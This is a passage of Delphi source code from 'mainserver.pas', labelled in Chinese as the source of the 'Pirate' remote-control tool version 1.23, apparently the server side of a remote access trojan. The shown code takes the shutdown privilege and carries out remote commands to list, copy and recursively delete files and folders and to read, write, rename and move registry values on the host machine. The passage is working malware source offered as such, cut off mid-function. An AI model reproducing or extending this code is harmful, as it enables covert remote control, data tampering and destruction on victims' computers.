mainserver.pas

海盗远控1.23源代码

  OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, currToken);
  LookupPrivilegeValue(nil, 'SeShutdownPrivilege',uid);
  newState.PrivilegeCount:=1;
  newState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
  newState.Privileges[0].Luid := uid;
  windows.AdjustTokenPrivileges(currToken, False, newState, sizeof(TTokenPrivileges),prevState, prevStateLen);
end;

{   转换文件的时间格式   }  
function   CovFileDate(Fd:_FileTime):TDateTime;
var
  Tct:_SystemTime;   
  Temp:_FileTime;   
begin
  FileTimeToLocalFileTime(Fd,Temp);
  FileTimeToSystemTime(Temp,Tct);
  CovFileDate:=SystemTimeToDateTime(Tct);   
end;

function GetFilesSX(Files:string):String;
var
  SR: TSearchRec;
  Infolist:TStringlist;
  Attributes:word;
const
  dtFmt:string = 'YYYY-MM-DD HH:NN:SS';
begin
  infolist:=TStringlist.Create;
  if FindFirst(Files, faAnyFile, SR) = 0 then
  begin
    Infolist.Add(FormatDateTime(dtFmt,CovFileDate(SR.FindData.ftCreationTime)));   //创建时间
    Infolist.Add(FormatDateTime(dtFmt,CovFileDate(SR.FindData.ftLastAccessTime))); //最后访问时间
  end;
  Attributes := FileGetAttr(Files);
  if ((Attributes and faReadOnly) = faReadOnly) then Infolist.Add('TRUE') else Infolist.Add('FALSE') ;
  if ((Attributes and faArchive) = faArchive) then Infolist.Add('TRUE') else Infolist.Add('FALSE') ;
  if ((Attributes and faHidden) = faHidden) then Infolist.Add('TRUE') else Infolist.Add('FALSE') ;
  if ((Attributes and faSysFile) = faSysFile) then Infolist.Add('TRUE') else Infolist.Add('FALSE') ;
  Result :=infolist.Text ;
  infolist.Free;
end;


 {搜索文件夹和文件}
function TPServer.FindFile(Path:string):string;
var Sr : TSearchRec;
    CommaList: TStringList;
    s:string;
    dt:TDateTime;
begin
   commalist:=Tstringlist.Create;
   try
     Findfirst(path+'*.*',faAnyFile,sr);
     if ((Sr.Attr and faDirectory)>0) and (Sr.Name<>'.') then
          begin
            dt:=FileDateToDateTime(sr.Time);
            s:=FormatDateTime('yyyy-mm-dd hh:nn', dt);
            Commalist.add('*'+s+sr.name);
          end;
     while  findnext(sr)=0 do
       begin
        if ((Sr.Attr and faDirectory)>0) and (Sr.Name<>'..') then
           begin
             dt:=FileDateToDateTime(sr.Time);
             s:=FormatDateTime('yyyy-mm-dd hh:nn', dt);
             commalist.add('*'+s+sr.name);
           end;
       end;
     FindClose(sr);
     FindFirst (path+'*.*',faArchive+faReadOnly+faHidden+faSysFile, Sr);
     if Sr.Attr<>faDirectory then
        begin
          dt:=FileDateToDateTime(sr.Time);
          s:=FormatDateTime('yyyy-mm-dd hh:nn', dt);
          commalist.add('\'+s+Format('%.0n',[sr.Size/1])+'|'+sr.name);
        end;
     while findnext(sr)=0 do
       begin
         if (sr.Attr<>faDirectory) then
           begin
             dt:=FileDateToDateTime(sr.Time);
             s:=FormatDateTime('yyyy-mm-dd hh:nn', dt);
             commalist.add('\'+s+Format('%.0n',[sr.Size/1])+'|'+sr.name);
           end;
       end;
     FindClose (Sr);
   except
   end;
   if Commalist.Text='' then Commalist.Text:='空目录';
   Result :=Commalist.Text;
   Commalist.Free;
end;

function TPServer.DoCopyDir(sDirName: string; sToDirName: string): Boolean;
var
  hFindFile: Cardinal;
  t, tfile: string;
  sCurDir: string[255];
  FindFileData: WIN32_FIND_DATA;
begin
  sCurDir := GetCurrentDir;
  ChDir(sDirName);
  hFindFile := FindFirstFile('*.*', FindFileData);
  if hFindFile <> INVALID_HANDLE_VALUE then
  begin
    if not DirectoryExists(sToDirName) then
      ForceDirectories(sToDirName);
    repeat
      tfile := FindFileData.cFileName;
      if (tfile = '.') or (tfile = '..') then
        Continue;
      if FindFileData.dwFileAttributes = FILE_ATTRIBUTE_DIRECTORY then
      begin
        t := sToDirName + '\' + tfile;
        if not DirectoryExists(t) then
          ForceDirectories(t);
        if sDirName[Length(sDirName)] <> '\' then
          DoCopyDir(sDirName + '\' + tfile, t)
        else
          DoCopyDir(sDirName + tfile, sToDirName + tfile);
      end
      else
      begin
        t := sToDirName + '\' + tFile;
        CopyFile(PChar(tfile), PChar(t), True);
      end;
    until FindNextFile(hFindFile, FindFileData) = false;
  end
  else
  begin
    ChDir(sCurDir);
    result := false;
    exit;
  end;
  ChDir(sCurDir);
  result := true;
end;

procedure TPServer.Mycopyfile(sourse: string; dest: string);
var f1, f2: file;
  buf: array[0..1023] of byte;
  cnt: integer;
begin
  if (sourse <> dest) then
  begin
    try
      AssignFile(f1, sourse);
      AssignFile(f2, dest);
      reset(f1, 1);
      rewrite(f2, 1);
      try
        repeat
          blockread(f1, buf, sizeof(buf), cnt);
          blockwrite(f2, buf, cnt, cnt);
        until cnt < sizeof(buf);
      finally
        closefile(f1);
        closefile(f2);
      end;
    except
    end;
  end;
end;

function TPServer.DoRemoveDir(mDirName: string): Boolean;
var
  vSearchRec: TSearchRec;
  vPathName: string;
  K: Integer;
begin
  Result := True;
  vPathName := mDirName + '\*.*';
  K := FindFirst(vPathName, faAnyFile, vSearchRec);
  while K = 0 do begin
    if (vSearchRec.Attr and faDirectory <> 0) and
      (Pos(vSearchRec.Name, '..') = 0) then begin
      FileSetAttr(mDirName + '\' + vSearchRec.Name, faDirectory);
      Result := DoRemoveDir(mDirName + '\' + vSearchRec.Name);
    end else if Pos(vSearchRec.Name, '..') = 0 then begin
      FileSetAttr(mDirName + '\' + vSearchRec.Name, 0);
      Result := DeleteFile(PChar(mDirName + '\' + vSearchRec.Name));
    end;
    if not Result then Break;
    K := FindNext(vSearchRec);
  end;
  FindClose(vSearchRec);
  Result := RemoveDir(mDirName);
end;

{读取注册表}
function TPServer.Reg_value(var StrTmpList:TStringList):string;    {键路径}
var
  Reg: TRegistry;
  TheKeyNames: TStringList;
  TempList:TStringList;
  regtemp:rstr;
  regvaluetype: TRegDataInfo;
  i,j,regintvalue: integer;
  toolong: boolean;
  bufsize, lineofbuf: integer;
  bufstr: string;
  buf2: array[1..64] of int64;
  Rkey,Rpath:string;
begin
              // RpathStr:String
      TheKeyNames := TStringList.Create;
      TempList:= TStringList.Create;

      Rkey:=StrTmpList[2];
      Rpath:=StrTmpList[3];
      Reg := TRegistry.Create;
      try
        if Rkey = 'HKEY_CLASSES_ROOT' then Reg.RootKey := HKEY_CLASSES_ROOT;
        if Rkey = 'HKEY_CURRENT_USER' then Reg.RootKey := HKEY_CURRENT_USER;
        if Rkey = 'HKEY_LOCAL_MACHINE' then Reg.RootKey := HKEY_LOCAL_MACHINE;
        if Rkey = 'HKEY_USERS' then Reg.RootKey := HKEY_USERS;
        if Rkey = 'HKEY_CURRENT_CONFIG' then Reg.RootKey := HKEY_CURRENT_CONFIG;
        if Rkey = 'HKEY_DYN_DATA' then Reg.RootKey := HKEY_DYN_DATA;

  if reg.openkey(Rpath,False) then
       reg.GetValueNames(TheKeyNames);
{--------默认键值------------------}
       regtemp.value :='';
       if reg.GetDataInfo('',regvaluetype)=True then
       begin
       case regvaluetype.RegData of
            rdUnknown:regtemp.attr :=9;
            rdstring:begin
                      regtemp.attr :=2;//字符串
                      regtemp.value :=reg.ReadString('');
                    end;
            rdExpandString:begin
                             regtemp.attr :=3;//扩展字符串
                             regtemp.value :=reg.ReadString('');
                           end;
            rdInteger:begin
                        regtemp.attr:=4;//Integer;
                        regintvalue :=reg.ReadInteger('');
                        regtemp.value :='0X'+IntToHex(regintvalue,8)+'('+inttostr(regintvalue)+')';
                      end;
            rdBinary :begin
                        regtemp.attr :=5;
                        for j:=1 to 64 do buf2[j]:=0;
                          try
                            toolong:=false;
                            reg.ReadBinaryData('',buf2,512);
                            bufsize:=regvaluetype.DataSize ;
                          except
                            toolong:=true;
                          end;
                        if bufsize<>0 then
                            begin
                              if (bufsize mod 8)=0 then
                                 lineofbuf :=bufsize div 8
                                   else lineofbuf:=bufsize div 8 +1;
                              bufstr:='';
                              for j :=1 to lineofbuf do
                                begin
                                 if j =lineofbuf then
                                   begin
                                     bufstr:=bufstr+inttohex(buf2[j],2*(bufsize mod 8));
                                   end else
                                   begin
                                     bufstr:=bufstr+inttohex(buf2[j],16);
                                   end;
                               end;
                              regtemp.value :=bufstr;
                            end else
                                 begin                                    //键值过长无法读取
                                   if toolong=true then regtemp.value :='(The key is too long to be read.)'
                                       else regtemp.value :='(Binary with the length of 0)';  //长度为零的二进制
                                 end;
                            end;
            end;
     TempList.Add(Inttostr(regtemp.attr)+'(Default)'); //默认
     if Regtemp.value<>'' then
     TempList.add(Regtemp.value)
     else
     TempList.Add('(Value has not been set)');   //数值未设置
     end else begin
     TempList.Add('2(Default)');
     TempList.Add('(Value has not been set)');
     end;
{-----黑认键值处理完成------------------}
  for i:=0 to TheKeyNames.Count -1 do
     begin
     regtemp.name :=TheKeyNames.Strings[i];
     if regtemp.name<>'' then begin
       regtemp.value :='';
       reg.GetDataInfo(TheKeyNames.Strings[i],regvaluetype);
       case regvaluetype.RegData of
            rdUnknown:regtemp.attr :=9;
            rdstring:begin
                      regtemp.attr :=2;//字符串
                      regtemp.value :=reg.ReadString(TheKeyNames.Strings[i]);
                    end;
            rdExpandString:begin
                             regtemp.attr :=3;//扩展字符串
                             regtemp.value :=reg.ReadString(TheKeyNames.Strings[i]);
                           end;
            rdInteger:begin
                        regtemp.attr:=4;//Integer;
                        regintvalue :=reg.ReadInteger(TheKeyNames.Strings[i]);
                        regtemp.value :='0X'+IntToHex(regintvalue,8)+'('+inttostr(regintvalue)+')';
                      end;
            rdBinary :begin
                        regtemp.attr :=5;
                        for j:=1 to 64 do buf2[j]:=0;
                          try
                            toolong:=false;
                            reg.ReadBinaryData(TheKeyNames.Strings[i],buf2,512);
                            bufsize:=regvaluetype.DataSize ;
                          except
                            toolong:=true;
                          end;
                        if bufsize<>0 then
                            begin
                              if (bufsize mod 8)=0 then
                                 lineofbuf :=bufsize div 8
                                   else lineofbuf:=bufsize div 8 +1;
                              bufstr:='';
                              for j :=1 to lineofbuf do
                                begin
                                 if j =lineofbuf then
                                   begin
                                     bufstr:=bufstr+inttohex(buf2[j],2*(bufsize mod 8));
                                   end else
                                   begin
                                     bufstr:=bufstr+inttohex(buf2[j],16);
                                   end;
                               end;
                              regtemp.value :=bufstr;
                            end else
                                 begin
                                   if toolong=true then regtemp.value :='(The key is too long to be read.)'
                                       else regtemp.value :='(Binary with the length of 0)';
                                 end;
                            end;
            end;
     TempList.Add(Inttostr(regtemp.attr)+regtemp.name);
     if Regtemp.value<>'' then
     TempList.add(Regtemp.value)
     else TempList.Add('(Value has not been set)')
   end;
  end;
        Result:=TempList.Text;
        TempList.Free;
        TheKeyNames.Free;
        Reg.CloseKey;
      finally
        Reg.Free;
      end;
end;

function Transtrhex(s: string): string;
var strresult: string;
  i: integer;
begin
  strresult := '';
  for i := length(s) div 2 downto 1 do
  begin
    strresult := strresult + copy(s, i * 2 - 1, 2);
  end;
  result := strresult;
end;

{修改注册表键名/值}
procedure TPServer.Editregvalue(var StrTmpList:TStringList);  {类型}
var
myreg:Tregistry;
loop:integer;
s_line:integer;
buf_write:array [1..64] of int64;
RKey  : String;{主键}
Rpath : String;{键路径}
Rname : String;{键名}
Rvalue: String;{键值}
rtype: integer;{类型}
begin

try

  RKey :=StrTmpList[2];
  Rpath:=StrTmpList[3];
  Rname:=StrTmpList[4];
  //if Rname='(默认)' then Rname:='';
  Rvalue:=StrTmpList[5];
  Rtype:=strtoint(StrTmpList[6]);

except
Exit;
end;    
         
  myreg:=TRegistry.Create;
  try
    if RKey = 'HKEY_CLASSES_ROOT' then myreg.RootKey := HKEY_CLASSES_ROOT;
    if RKey = 'HKEY_CURRENT_USER' then myreg.RootKey := HKEY_CURRENT_USER;
    if RKey = 'HKEY_LOCAL_MACHINE' then myreg.RootKey := HKEY_LOCAL_MACHINE;
    if RKey = 'HKEY_USERS' then myreg.RootKey := HKEY_USERS;
    if RKey = 'HKEY_CURRENT_CONFIG' then myreg.RootKey := HKEY_CURRENT_CONFIG;
    if RKey = 'HKEY_DYN_DATA' then myreg.RootKey := HKEY_DYN_DATA;

    if myreg.OpenKey(rpath,false) then
      begin
        case rtype of
             0:begin //string edit/
                    myreg.WriteString(rname,rvalue);
               end;
             1:begin //integer edit//
                     myreg.WriteInteger(rname,strtoint(rvalue));
               end;
             2:begin //bin edit//
                     if (length(rvalue) mod 16)=0 then
                        s_line:=length(rvalue) div 16 else
                            s_line:=1+length(rvalue) div 16;
                      for loop:=1 to s_line do
                        begin
                          buf_write[loop]:=strtoint64('0x'+Transtrhex(copy(rvalue,(loop-1)*16+1,16)));
                        end;
                      myreg.WriteBinaryData(rname,buf_write,length(rvalue) div 2);
               end;
             3:begin
                      myreg.RenameValue(rname,rvalue);
               end;
             4:begin //expandstring edit//
                    myreg.WriteExpandString (rname,rvalue);
               end;
             5:begin
                     myreg.MoveKey(rname,rvalue,true);